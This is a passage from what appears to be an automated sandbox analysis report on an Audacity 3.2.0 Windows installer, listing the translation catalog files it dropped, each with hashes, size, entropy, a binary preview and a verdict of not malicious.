Preview:	................,...Y...<(.......5.......5.......5..J....5..%....6......+6......>6......P6......^6......c6......l6......s6......}6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......7.......7...... 7......17......?7......G7......X7......^7......g7......q7......~7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......7.......8.......8......$8......)8....../8......38......<8......H8......O8......V8......n8......~8.......8.......8.......8.......8.......8.......8.......8.......8.......8.......8.......9.......9.......9......&9......09......;9......I9......U9......_9......q9......y9.......9.......9.......9.......9.......9..$....9..,....9.......:...... :......":......+:......F:......W:......\:......`:......c:......j:......u:......{:......}:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......:.......;.......;......

C:\Program Files\Audacity\Languages\ru\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4304 messages, Project-Id-Version: audacity 3.2.0 '\011 \320\270'
Category:	dropped
Size (bytes):	442430
Entropy (8bit):	5.597493140209038
Encrypted:	false
SSDEEP:	12288:nsmzn9LJgA70ANmOh00/tZnDlvY0Q4uP3KWf3sn2Ihzg6L9QgLI4AMyUWoZ5Gb7S:bz9LyA70o
MD5:	E55A4FDCDE482628C160109CD392DB2F
SHA1:	AD13906FB5055EFE18530E010412B0E5E429E9EC
SHA-256:	FD0BF89E00E9737D0E97E4A28325E5E43C322979DD6D52AB6981940272285842
SHA-512:	CC0444A1240CC2D462EA299CA27C3DCBA192BF159FFCFCDC9EDF80D4A1EF9C78CA1431776F785DA2336C105D26DA26063EF67CBC4BA565BF65636D0CAED2F9CD
Malicious:	false
Preview:	....................m............f.......f.......f..'...og..:....g.......g..$....g..6....g..(...2h......[h.......h..\|....i..S....j..G...Zj..*....j..K....j.......k..m....k......7l.......l.......m......:n......Ao......Jo......To......ao......jo......qo......}o.......o.......o.......o.......o.......o..g....o..P...&p......wp..F....q......Rq..1...jq.......q......=r......:s.......s......et.......u.......u.......v......&w.......w.......x......1y......Lz..0...kz.......z.......z..4....z.......z.......{.......{.......{.......{......+{......8{......?{......G{......Q{......X{......`{......l{......v{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......\|.......\|.......\|......2\|......K\|......Q\|......b\|......j\|.......\|.......\|.......\|..8....\|..;....\|.......}......$}..7...@}......x}.......}.......}..R....}..0....~......;~..(...C~......l~......s~......z~.......~.......~.......~.......~.......~.......~.......~.......~..J....~..............#.......,...-...3.......a...%.......$...

C:\Program Files\Audacity\Languages\ru\is-DR3N6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4304 messages, Project-Id-Version: audacity 3.2.0 '\011 \320\270'
Category:	dropped
Size (bytes):	442430
Entropy (8bit):	5.597493140209038
Encrypted:	false
SSDEEP:	12288:nsmzn9LJgA70ANmOh00/tZnDlvY0Q4uP3KWf3sn2Ihzg6L9QgLI4AMyUWoZ5Gb7S:bz9LyA70o
MD5:	E55A4FDCDE482628C160109CD392DB2F
SHA1:	AD13906FB5055EFE18530E010412B0E5E429E9EC
SHA-256:	FD0BF89E00E9737D0E97E4A28325E5E43C322979DD6D52AB6981940272285842
SHA-512:	CC0444A1240CC2D462EA299CA27C3DCBA192BF159FFCFCDC9EDF80D4A1EF9C78CA1431776F785DA2336C105D26DA26063EF67CBC4BA565BF65636D0CAED2F9CD
Malicious:	false
Preview:	....................m............f.......f.......f..'...og..:....g.......g..$....g..6....g..(...2h......[h.......h..\|....i..S....j..G...Zj..*....j..K....j.......k..m....k......7l.......l.......m......:n......Ao......Jo......To......ao......jo......qo......}o.......o.......o.......o.......o.......o..g....o..P...&p......wp..F....q......Rq..1...jq.......q......=r......:s.......s......et.......u.......u.......v......&w.......w.......x......1y......Lz..0...kz.......z.......z..4....z.......z.......{.......{.......{.......{......+{......8{......?{......G{......Q{......X{......`{......l{......v{.......{.......{.......{.......{.......{.......{.......{.......{.......{.......\|.......\|.......\|......2\|......K\|......Q\|......b\|......j\|.......\|.......\|.......\|..8....\|..;....\|.......}......$}..7...@}......x}.......}.......}..R....}..0....~......;~..(...C~......l~......s~......z~.......~.......~.......~.......~.......~.......~.......~.......~..J....~..............#.......,...-...3.......a...%.......$...

C:\Program Files\Audacity\Languages\sk\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4036 messages, Project-Id-Version: audacity 3.0.3 '\011 a'
Category:	dropped
Size (bytes):	324053
Entropy (8bit):	5.616641027793701
Encrypted:	false
SSDEEP:	6144:6vWRqENbXRDjwo4Y92oc+LA9cRgm3cp0/V9Y0yy:qWIsKqA9cRgE5/V97yy
MD5:	3DC4E17721DF3B12CF46DEE2595F8775
SHA1:	7BE224FF038A48B9103D4C0FDA590DBDCB59680C
SHA-256:	E540176DD342327284CE083C3E6F08378AA77448EF3664C2FA2061F202926F16
SHA-512:	25FDA359F1BFEBEC9E346966C477A1E3952958CF153DCB23A2536DF3D44D88909372E52116849DCF6456709DF62F211318C700B4A8F0ABDC439BCC353D23A56B
Malicious:	false
Preview:	................<~......\.......pP......qP......\|P..'....Q..:...7Q..6...rQ.......Q......CR..S....R..G...+S..*...sS..K....S.......S..m....T.......U.......U......aV.......W.......X.......X......%X......2X......;X......BX......NX......\X......gX......qX......zX.......X..g....X..P....X......HY.......Y..1....Y......&Z.......Z.......[......^\.......\.......]......b^......._......._......x`.......a.......a.......b..0....b......&c......Ac..4...Sc.......c.......c.......c.......c.......c.......c.......c.......c.......c.......c.......c.......c.......c.......d.......d.......d.......d......2d......Md......Ud......\d......yd.......d.......d.......d.......d.......d.......d.......d.......d.......d.......e.......e.......e..8....e..;...Se.......e.......e..7....e.......f.......f......5f..R...Af..0....f.......f..(....f.......f.......f.......g.......g.......g.......g......"g......-g......=g......Hg......Qg..J...\g.......g.......g.......g..-....g.......g..%...kh..$....h.......h..#....h.."....h.......i..S...

C:\Program Files\Audacity\Languages\sk\is-N11CT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4036 messages, Project-Id-Version: audacity 3.0.3 '\011 a'
Category:	dropped
Size (bytes):	324053
Entropy (8bit):	5.616641027793701
Encrypted:	false
SSDEEP:	6144:6vWRqENbXRDjwo4Y92oc+LA9cRgm3cp0/V9Y0yy:qWIsKqA9cRgE5/V97yy
MD5:	3DC4E17721DF3B12CF46DEE2595F8775
SHA1:	7BE224FF038A48B9103D4C0FDA590DBDCB59680C
SHA-256:	E540176DD342327284CE083C3E6F08378AA77448EF3664C2FA2061F202926F16
SHA-512:	25FDA359F1BFEBEC9E346966C477A1E3952958CF153DCB23A2536DF3D44D88909372E52116849DCF6456709DF62F211318C700B4A8F0ABDC439BCC353D23A56B
Malicious:	false
Preview:	................<~......\.......pP......qP......\|P..'....Q..:...7Q..6...rQ.......Q......CR..S....R..G...+S..*...sS..K....S.......S..m....T.......U.......U......aV.......W.......X.......X......%X......2X......;X......BX......NX......\X......gX......qX......zX.......X..g....X..P....X......HY.......Y..1....Y......&Z.......Z.......[......^\.......\.......]......b^......._......._......x`.......a.......a.......b..0....b......&c......Ac..4...Sc.......c.......c.......c.......c.......c.......c.......c.......c.......c.......c.......c.......c.......c.......d.......d.......d.......d......2d......Md......Ud......\d......yd.......d.......d.......d.......d.......d.......d.......d.......d.......d.......e.......e.......e..8....e..;...Se.......e.......e..7....e.......f.......f......5f..R...Af..0....f.......f..(....f.......f.......f.......g.......g.......g.......g......"g......-g......=g......Hg......Qg..J...\g.......g.......g.......g..-....g.......g..%...kh..$....h.......h..#....h.."....h.......i..S...

C:\Program Files\Audacity\Languages\sl\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 in'
Category:	dropped
Size (bytes):	350475
Entropy (8bit):	5.47364554362566
Encrypted:	false
SSDEEP:	6144:6m72UreeepZsYRDjIoj5/asc+1A7M5Tj7Yj/sDvz8kvCf2OVLQZtHHyD20hJXIz0:6OaVVA7M5Tm/sDvpCf2OVLQZtHHyD203
MD5:	72C8360F162C65FC9D1A7E983E1C9DBA
SHA1:	F8BA2BE34189C58DA6294F2D816FA731D69F8230
SHA-256:	4E6F75F9BD7C76BC72C5C379D1A41050979D22E5BA56D420FDD71066BBA4397A
SHA-512:	81FCC7359F3CB584E4DEDA58906E5E8C9C1E99F146CDF8E1BE595185FBA1B9F18D2BB93C9587A0B0D731635834E1BCE47FB1A80ECC94C54D5B3E5BE108E87981
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\sl\is-4TL5P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 in'
Category:	dropped
Size (bytes):	350475
Entropy (8bit):	5.47364554362566
Encrypted:	false
SSDEEP:	6144:6m72UreeepZsYRDjIoj5/asc+1A7M5Tj7Yj/sDvz8kvCf2OVLQZtHHyD20hJXIz0:6OaVVA7M5Tm/sDvpCf2OVLQZtHHyD203
MD5:	72C8360F162C65FC9D1A7E983E1C9DBA
SHA1:	F8BA2BE34189C58DA6294F2D816FA731D69F8230
SHA-256:	4E6F75F9BD7C76BC72C5C379D1A41050979D22E5BA56D420FDD71066BBA4397A
SHA-512:	81FCC7359F3CB584E4DEDA58906E5E8C9C1E99F146CDF8E1BE595185FBA1B9F18D2BB93C9587A0B0D731635834E1BCE47FB1A80ECC94C54D5B3E5BE108E87981
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\sr_RS@latin\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1498 messages, Project-Id-Version: audacity 3.0.3 'Datoteke prikazane kao NEDOSTAJU\304\206E su preme\305\241tene ili obrisane i ne mogu biti umno\305\276ene.'
Category:	dropped
Size (bytes):	116447
Entropy (8bit):	5.40513188241004
Encrypted:	false
SSDEEP:	3072:G3ps1BZo7nl/FRDDIjZhIXAZoxMHtASMWa/IqrcOUe8cUZu1:8pddRD8jPIXAzZTL2
MD5:	FBFBB17A82B74A2B9528051872557EDF
SHA1:	FE6B7022D956AC589DFDA8193875249FCAC8CAB4
SHA-256:	5494066D35D1D527C0980C43A19E1D15447529DF5FA80925E26D4D23E95DF5F2
SHA-512:	A7FEFB556149A9D3D8D64FB492178030F3D171ACB00780F500EF43B5FCC478D0EDA0D9C163055A2855A9A5E5F17F315059533ACD14944D2DF6686FFCC6B090F9
Malicious:	false
Preview:	.........................].......\|.......\|..'....}.......}......F~......O~......Z~......c~..1....~......)......................a......................e.......................Q...................4...,.......a.......h.......r.......y...................................J.......%...........+.......>.......C.......Q.......c.......q.......v...................(...............$........................................................%.......-.......2.......<.......D.......R.......b.......o.......x..."................................................................................................+.......7.......A.......N.......a.......g.......p.......x...........................................................................................................................,.......2.......7.......=.......A.......J.......T.......f.......r............................................................................................................................,.......H.......X.......

C:\Program Files\Audacity\Languages\sr_RS@latin\is-644HF.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1498 messages, Project-Id-Version: audacity 3.0.3 'Datoteke prikazane kao NEDOSTAJU\304\206E su preme\305\241tene ili obrisane i ne mogu biti umno\305\276ene.'
Category:	dropped
Size (bytes):	116447
Entropy (8bit):	5.40513188241004
Encrypted:	false
SSDEEP:	3072:G3ps1BZo7nl/FRDDIjZhIXAZoxMHtASMWa/IqrcOUe8cUZu1:8pddRD8jPIXAzZTL2
MD5:	FBFBB17A82B74A2B9528051872557EDF
SHA1:	FE6B7022D956AC589DFDA8193875249FCAC8CAB4
SHA-256:	5494066D35D1D527C0980C43A19E1D15447529DF5FA80925E26D4D23E95DF5F2
SHA-512:	A7FEFB556149A9D3D8D64FB492178030F3D171ACB00780F500EF43B5FCC478D0EDA0D9C163055A2855A9A5E5F17F315059533ACD14944D2DF6686FFCC6B090F9
Malicious:	false
Preview:	.........................].......\|.......\|..'....}.......}......F~......O~......Z~......c~..1....~......)......................a......................e.......................Q...................4...,.......a.......h.......r.......y...................................J.......%...........+.......>.......C.......Q.......c.......q.......v...................(...............$........................................................%.......-.......2.......<.......D.......R.......b.......o.......x..."................................................................................................+.......7.......A.......N.......a.......g.......p.......x...........................................................................................................................,.......2.......7.......=.......A.......J.......T.......f.......r............................................................................................................................,.......H.......X.......

C:\Program Files\Audacity\Languages\sr_RS\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4029 messages, Project-Id-Version: audacity 3.0.3 '\011 \320\270'
Category:	dropped
Size (bytes):	409225
Entropy (8bit):	5.546858322648882
Encrypted:	false
SSDEEP:	12288:zpNLeA7+LWvTLDIkO8eM7hvUtgrBwTqVxBVr:jqA7+Q
MD5:	05B151C28BB851499A8A75337F0D7881
SHA1:	0BD3EB60D014A7842F666241D0882E58F2C36D0D
SHA-256:	D9DE6ED49F0D8E7A3F7F7912502993101039801B82F2FDCEE4214D899C208D19
SHA-512:	CE7710CDFCFA26BECA3B95BBFF92D7DFC115FDF0AE3A7B206B97A2778895813D95F3F6769C51E9E22D141ED80D4008A7F011B17AF6E4103548A56DC4C6D8E025
Malicious:	false
Preview:	.................~...............P.......P.......P..'....P..:....P..6....Q......9Q.......Q..\|...gR..S....R..G...8S......S..K....S.......S..m....T.......U.......U......nV.......W.......X......(X......2X......?X......HX......OX......[X......iX......tX......~X.......X.......X..g....X..P....Y......UY..F....Y......0Z..1...HZ......zZ.......[.......\.......\......C].......].......^......p_.......`.......`......ja.......b......c..0...Ic......zc.......c..4....c.......c.......c.......c.......c.......c.......d.......d.......d......%d....../d......6d......>d......Jd......Td......^d......dd......id.......d.......d.......d.......d.......d.......d.......d.......d.......d.......e......)e....../e......@e......He......]e......de......he..8...ne..;....e.......e.......f..7....f......Vf......qf.......f.......f..(....f.......f.......f.......f.......f.......f.......f.......f.......f.......g.......g......!g..J...,g......wg......}g.......g..-....g..%....g..$....g.......h.......h..S....h......kh..F....h......

C:\Program Files\Audacity\Languages\sr_RS\is-PRSVB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4029 messages, Project-Id-Version: audacity 3.0.3 '\011 \320\270'
Category:	dropped
Size (bytes):	409225
Entropy (8bit):	5.546858322648882
Encrypted:	false
SSDEEP:	12288:zpNLeA7+LWvTLDIkO8eM7hvUtgrBwTqVxBVr:jqA7+Q
MD5:	05B151C28BB851499A8A75337F0D7881
SHA1:	0BD3EB60D014A7842F666241D0882E58F2C36D0D
SHA-256:	D9DE6ED49F0D8E7A3F7F7912502993101039801B82F2FDCEE4214D899C208D19
SHA-512:	CE7710CDFCFA26BECA3B95BBFF92D7DFC115FDF0AE3A7B206B97A2778895813D95F3F6769C51E9E22D141ED80D4008A7F011B17AF6E4103548A56DC4C6D8E025
Malicious:	false
Preview:	.................~...............P.......P.......P..'....P..:....P..6....Q......9Q.......Q..\|...gR..S....R..G...8S......S..K....S.......S..m....T.......U.......U......nV.......W.......X......(X......2X......?X......HX......OX......[X......iX......tX......~X.......X.......X..g....X..P....Y......UY..F....Y......0Z..1...HZ......zZ.......[.......\.......\......C].......].......^......p_.......`.......`......ja.......b......c..0...Ic......zc.......c..4....c.......c.......c.......c.......c.......c.......d.......d.......d......%d....../d......6d......>d......Jd......Td......^d......dd......id.......d.......d.......d.......d.......d.......d.......d.......d.......d.......e......)e....../e......@e......He......]e......de......he..8...ne..;....e.......e.......f..7....f......Vf......qf.......f.......f..(....f.......f.......f.......f.......f.......f.......f.......f.......f.......g.......g......!g..J...,g......wg......}g.......g..-....g..%....g..$....g.......h.......h..S....h......kh..F....h......

C:\Program Files\Audacity\Languages\sv\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 och'
Category:	dropped
Size (bytes):	349064
Entropy (8bit):	5.4650281095260045
Encrypted:	false
SSDEEP:	6144:6m72U1TjkExUtsYRDjIoj5/asc+1A7MW1A0a2+6xV/hU:6CkLVVA7MKVxvU
MD5:	A2C4B52998D0A5C24361C9829E3DED77
SHA1:	615A8F1FEC6F135566E789686B830C0F9DC631A5
SHA-256:	358B885E87963C24D63DE24F3EF96BD937F26C9E1A24EFA463975360A3659C4B
SHA-512:	04744A70514BF5E902B4ADE17B56B34A372FE5FBC1FB65888601934289A662B9327CA310A40579456D9763D8A1F52374375746CA60CFFADCCECF865D2A5B2B57
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\sv\is-BSL79.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4353 messages, Project-Id-Version: audacity 3.0.3 '\011 och'
Category:	dropped
Size (bytes):	349064
Entropy (8bit):	5.4650281095260045
Encrypted:	false
SSDEEP:	6144:6m72U1TjkExUtsYRDjIoj5/asc+1A7MW1A0a2+6xV/hU:6CkLVVA7MKVxvU
MD5:	A2C4B52998D0A5C24361C9829E3DED77
SHA1:	615A8F1FEC6F135566E789686B830C0F9DC631A5
SHA-256:	358B885E87963C24D63DE24F3EF96BD937F26C9E1A24EFA463975360A3659C4B
SHA-512:	04744A70514BF5E902B4ADE17B56B34A372FE5FBC1FB65888601934289A662B9327CA310A40579456D9763D8A1F52374375746CA60CFFADCCECF865D2A5B2B57
Malicious:	false
Preview:	................$.......,........j.......j.......j..'....k..:....k.......k..$....k..6....l..(...Jl......sl.......m..\|....m..S....n..G...rn..*....n..K....n......1o..m....o......Op.......p.......q......Rr......Ys......bs......ls......ys.......s.......s.......s.......s.......s.......s.......s.......s..g....s..P...>t.......t..F...#u......ju..1....u.......u......Uv......Rw.......w......}x....../y.......y.......z......>{.......\|.......\|......I}......d~..0....~.......~.......~..4....~......................&......./.......7.......C.......P.......W......._.......h.......r.......y.......................................................................................................%.......+.......@.......S.......l.......r...........................................8.......;..........&.......E...7...a..........................R......0...+.......\...(...d.....................................................................................................J...........S.......Y.......b...-...

C:\Program Files\Audacity\Languages\ta\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1119 messages, Project-Id-Version: audacity 3.0.3 '\340\256\244\340\256\265\340\256\261\340\256\265\340\256\277\340\256\237\340\256\252\340\257\215\340\256\252\340\256\237\340\257\215\340\256\237\340\256\265\340\257\210 \340\256\216\340\256\251\340\256\225\340\257\215 \340\256\225\340\256\276\340\256\237\340\257\215\340\256\237\340\256\252\340\257\215\340\256\252\340\256\237\340\257\201\340\256\256\340\257\215 \340\256\225\340\257\213\340\256\252\340\257\215\340\256\252\340\257\201\340\256\225\340\256\263\340\257\215 \340\256\250\340\256\225'
Category:	dropped
Size (bytes):	125542
Entropy (8bit):	5.025606331138424
Encrypted:	false
SSDEEP:	1536:BLWzWmQyXZE7nRDZPlPWLAm94WSLjSezT2LjuoQTVdNmrMYa:BpmjZE7nRDZ9PWLAYSLi9rMX
MD5:	45996F7EB15AAC33941B9B5A567CFBF3
SHA1:	47A57F25C6F296E5C24E7487458CE41AFE5451A0
SHA-256:	E029BC6AB353FA811648AC3980F7733087B721DE590B48F9802F700E82B4AE45
SHA-512:	4042C0AF2293303AC742A8340516EEAB5C75E3C1421FDA247A30B64D980735EC957414B2350C371D423B65649273B7B992677407FCDCE1ED268A4DBF9FCB58EA
Malicious:	false
Preview:	........_........#.......F......`]......a]..'....].......^......7^......>^......H^......O^......Y^......c^......h^......o^.......^..J....^..%....^......._......._......._......._......<_......A_......J_......T_......\_......c_......x_......._......._......._......._......._......._......._......._......._......._......._......._......._.......`.......`.......`.......`......'`......-`......:`......E`......``......i`......z`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......a.......a.......a......7a......Ia......Wa......_a......ra......}a.......a.......a.......a.......a.......a.......a.......a.......a.......a.......a.......b.......b....../b..$...;b......`b......sb..,...{b..%....b..1....b..#....c..$...$c..$...Ic......nc......xc.......c.......c.......c.......c......c.......d......d......Hd......hd.......d.......d.......d.......d.......d.......e.......e......,e......He......ce......ue......we......~e.......e.......e......

C:\Program Files\Audacity\Languages\ta\is-D76SJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 1119 messages, Project-Id-Version: audacity 3.0.3 '\340\256\244\340\256\265\340\256\261\340\256\265\340\256\277\340\256\237\340\256\252\340\257\215\340\256\252\340\256\237\340\257\215\340\256\237\340\256\265\340\257\210 \340\256\216\340\256\251\340\256\225\340\257\215 \340\256\225\340\256\276\340\256\237\340\257\215\340\256\237\340\256\252\340\257\215\340\256\252\340\256\237\340\257\201\340\256\256\340\257\215 \340\256\225\340\257\213\340\256\252\340\257\215\340\256\252\340\257\201\340\256\225\340\256\263\340\257\215 \340\256\250\340\256\225'
Category:	dropped
Size (bytes):	125542
Entropy (8bit):	5.025606331138424
Encrypted:	false
SSDEEP:	1536:BLWzWmQyXZE7nRDZPlPWLAm94WSLjSezT2LjuoQTVdNmrMYa:BpmjZE7nRDZ9PWLAYSLi9rMX
MD5:	45996F7EB15AAC33941B9B5A567CFBF3
SHA1:	47A57F25C6F296E5C24E7487458CE41AFE5451A0
SHA-256:	E029BC6AB353FA811648AC3980F7733087B721DE590B48F9802F700E82B4AE45
SHA-512:	4042C0AF2293303AC742A8340516EEAB5C75E3C1421FDA247A30B64D980735EC957414B2350C371D423B65649273B7B992677407FCDCE1ED268A4DBF9FCB58EA
Malicious:	false
Preview:	........_........#.......F......`]......a]..'....].......^......7^......>^......H^......O^......Y^......c^......h^......o^.......^..J....^..%....^......._......._......._......._......<_......A_......J_......T_......\_......c_......x_......._......._......._......._......._......._......._......._......._......._......._......._......._.......`.......`.......`.......`......'`......-`......:`......E`......``......i`......z`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......`.......a.......a.......a......7a......Ia......Wa......_a......ra......}a.......a.......a.......a.......a.......a.......a.......a.......a.......a.......a.......b.......b....../b..$...;b......`b......sb..,...{b..%....b..1....b..#....c..$...$c..$...Ic......nc......xc.......c.......c.......c.......c......c.......d......d......Hd......hd.......d.......d.......d.......d.......d.......e.......e......,e......He......ce......ue......we......~e.......e.......e......

C:\Program Files\Audacity\Languages\tg\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 629 messages, Project-Id-Version: audacity 3.0.3 '\320\221\320\265\321\201\320\260\320\264\320\276'
Category:	dropped
Size (bytes):	52678
Entropy (8bit):	5.43856004237839
Encrypted:	false
SSDEEP:	1536:cNtHmC1oMrRBZo7KN80m5RO+XYFJEw0c2UD:cqC15BZo7KNRm5FYF6w0QD
MD5:	979C0E772F13DA95DE9B543618110250
SHA1:	261A6ED8CEDFD953978F6F30F868F274DF723484
SHA-256:	EDAE2BB5ED5A54C6EF2BAB3CCAFD547492BEBFE5CCD69619CE4BF15715A7E1CB
SHA-512:	59E888F981CD038771886AFF4B69B353E6C0BE8B1CCA09CD78C056D9A9C0037C7B37577A057786175EE724BA5EF5BF46217599570B065F9D266017C7616CB63D
Malicious:	false
Preview:	........u...........G...l'.......4.......4.......4.......4..1....4.......4.......4.......4..%....5......05......C5......H5......M5......V5......`5......h5......o5......v5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......6.......6.......6......#6......,6......56......:6......@6......D6......M6......Y6......`6......p6......z6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......7.......7.......7.......7......)7......57......H7..,...P7..%...}7..1....7..#....7..$....7.......8......8......F8......Y8.....w8.......8.......8.......8.......8.......9......59......K9......a9.......9.......9.......9.......9.......9.......9.......9.......9.......9.......9.......:.......:.......:......':......):......6:......8:......::......<:......>:......G:......Y:......`:......l:......y:.......:.......:.......:.......:.......:.......:.......:.......:.......:.. ....;......;;......V;..#...b;.......;......

C:\Program Files\Audacity\Languages\tg\is-KRUGD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 629 messages, Project-Id-Version: audacity 3.0.3 '\320\221\320\265\321\201\320\260\320\264\320\276'
Category:	dropped
Size (bytes):	52678
Entropy (8bit):	5.43856004237839
Encrypted:	false
SSDEEP:	1536:cNtHmC1oMrRBZo7KN80m5RO+XYFJEw0c2UD:cqC15BZo7KNRm5FYF6w0QD
MD5:	979C0E772F13DA95DE9B543618110250
SHA1:	261A6ED8CEDFD953978F6F30F868F274DF723484
SHA-256:	EDAE2BB5ED5A54C6EF2BAB3CCAFD547492BEBFE5CCD69619CE4BF15715A7E1CB
SHA-512:	59E888F981CD038771886AFF4B69B353E6C0BE8B1CCA09CD78C056D9A9C0037C7B37577A057786175EE724BA5EF5BF46217599570B065F9D266017C7616CB63D
Malicious:	false
Preview:	........u...........G...l'.......4.......4.......4.......4..1....4.......4.......4.......4..%....5......05......C5......H5......M5......V5......`5......h5......o5......v5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......5.......6.......6.......6......#6......,6......56......:6......@6......D6......M6......Y6......`6......p6......z6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......6.......7.......7.......7.......7......)7......57......H7..,...P7..%...}7..1....7..#....7..$....7.......8......8......F8......Y8.....w8.......8.......8.......8.......8.......9......59......K9......a9.......9.......9.......9.......9.......9.......9.......9.......9.......9.......9.......:.......:.......:......':......):......6:......8:......::......<:......>:......G:......Y:......`:......l:......y:.......:.......:.......:.......:.......:.......:.......:.......:.......:.. ....;......;;......V;..#...b;.......;......

C:\Program Files\Audacity\Languages\tr\audacity.mo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-BVVE5.tmp\audacity-win-3.2.0-64bit.tmp
File Type:	GNU message catalog (little endian), revision 0.0, 4339 messages, Project-Id-Version: audacity 3.0.3 '\011 ve'
Category:	dropped
Size (bytes):	355593
Entropy (8bit):	5.562823102589736
Encrypted:	false
SSDEEP:	6144:VFLnEQuBiCFPYRDjIoj5/asc+1A74zNx0TdZxPNRY6QP4W1wgKRgBFp/t:VR9uIVVA74QTnXCtKgp/t
MD5:	E9F068EAB04DC002A647CA7670B83D4C
SHA1:	E29391B1CB445E4195F7DFA9AAFF289B616CB957
SHA-256:	43CE95E0C98A3DF5ABAEEAF2CD4CE69952D79BE1DF043E6B8682D9DEF5C126BA
